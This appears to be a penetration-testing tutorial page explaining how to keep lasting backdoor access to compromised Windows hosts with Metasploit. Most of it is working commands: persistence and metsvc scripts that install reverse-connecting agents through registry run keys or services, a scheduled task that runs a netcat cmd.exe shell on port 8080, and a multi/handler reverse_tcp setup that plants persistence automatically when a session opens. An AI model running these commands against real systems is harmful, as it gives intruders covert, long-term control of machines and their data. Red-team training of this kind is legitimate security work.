Backdoor Metasploit Persistent | Penetration Testing Lab

                       The Metasploit Project is a computer security project that provides information about security vulnerabilities and aids in penetration testing and IDS signature development. Its best-known sub-project is the open source Metasploit Framework, a tool for developing and executing exploit code against a remote target machine. Other important sub-projects include the Opcode Database, shellcode archive, and related research. The Metasploit Project is well known for its anti-forensic and evasion tools, some of which are built into the Metasploit Framework. 
This article describes is how to generate the session after the automatic installation of backdoor continuous control, we can achieve the purpose of long-term control of the attacker.

MSF Persistent Scripts

Before the introduction, first of all, introduce MSF already contains a backdoor for creating sustainable control script.

1. Persistence

/usr/share/metasploit-framework/scripts/meterpreter/persistence.rb

meterpreter > run persistence -h
OPTIONS:
-A Automatically start a matching multi/handler to connect to the agent
-U Automatically start the agent when the User logs on
-X Automatically start the agent when the system boots
-h This help menu
-i The interval in seconds between each connection attempt
-p The port on the remote host where Metasploit is listening
-r The IP of the system running Metasploit listening for the connect back
An example of use:
run persistence -A -U -i 5 -p 1337 -r 192.168.1.66

-S can be created using the service. -U will add startup items in HKCU, -X will add startup items in HKLM

Scripts can also achieve the same functions:

• exploit/windows/local/persistence.rb
• exploit/windows/local/registry_persistence.rb

2. Metsvc

 /usr/share/metasploit-framework/scripts/meterpreter/metsvc
Metsvc module is actually Meterpreter system services to conduct the form of backdoor installation to the target host, it will upload three files: Metsvc.dll Metsvc-service.exe Metsvc.exe
On the target machine, we can find the Meterpreter service, which is opening the monitor and waiting for the connection.
An example of use:

run metsvc -A

Using the -r parameter to uninstall the service.

3. Scheduleme & Schtasksabuse

/usr/share/metasploit-framework/scripts/meterpreter/scheduleme.rb
/usr/share/metasploit-framework/scripts/meterpreter/schtasksabuse.rb

These scripts are used to create a scheduled task by schtasks to achieve the purpose of maintaining the authority.

Scheduleme

run scheduleme -m 1 -e /tmp/nc.exe -o "-e cmd.exe -L -p 8080"
 # nc uploaded every minute and create a scheduled task to perform a 'nc -e cmd.exe -L -p 8080 ' run scheduleme -m 1 -c "cmd / c calc.exe"
 # create a scheduled task to perform once every minute to open the Calculator command
Schtasksabuse
 

run schtasksabuse -t 192.168.1.66 -c "cmd /c calc.exe" -d 4
 Scripts can also achieve the same functions:
/usr/share/metasploit-framework/module/exploits/windows/local/s4u_persistence.rb

4. Mof_ps_persist

This module will attempt to use MOF to establish persistence on a machine as an alternative to the persistence meterpreter script. This will require at least local administrative rights and powershell present on the machine (default on Vista/2k8/7/2012).

Autorunscript

autorunscript is a very powerful script that allows us to simultaneously generate the session, the specified action.

For example, if we want to get to the session at the same time, the implementation of persistence to stay back door directly operate this way:
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.7
set LPORT 4444
set ExitOnSession false
set AutoRunScript exploits/windows/local/persistence LPORT=1337
exploit -j -z

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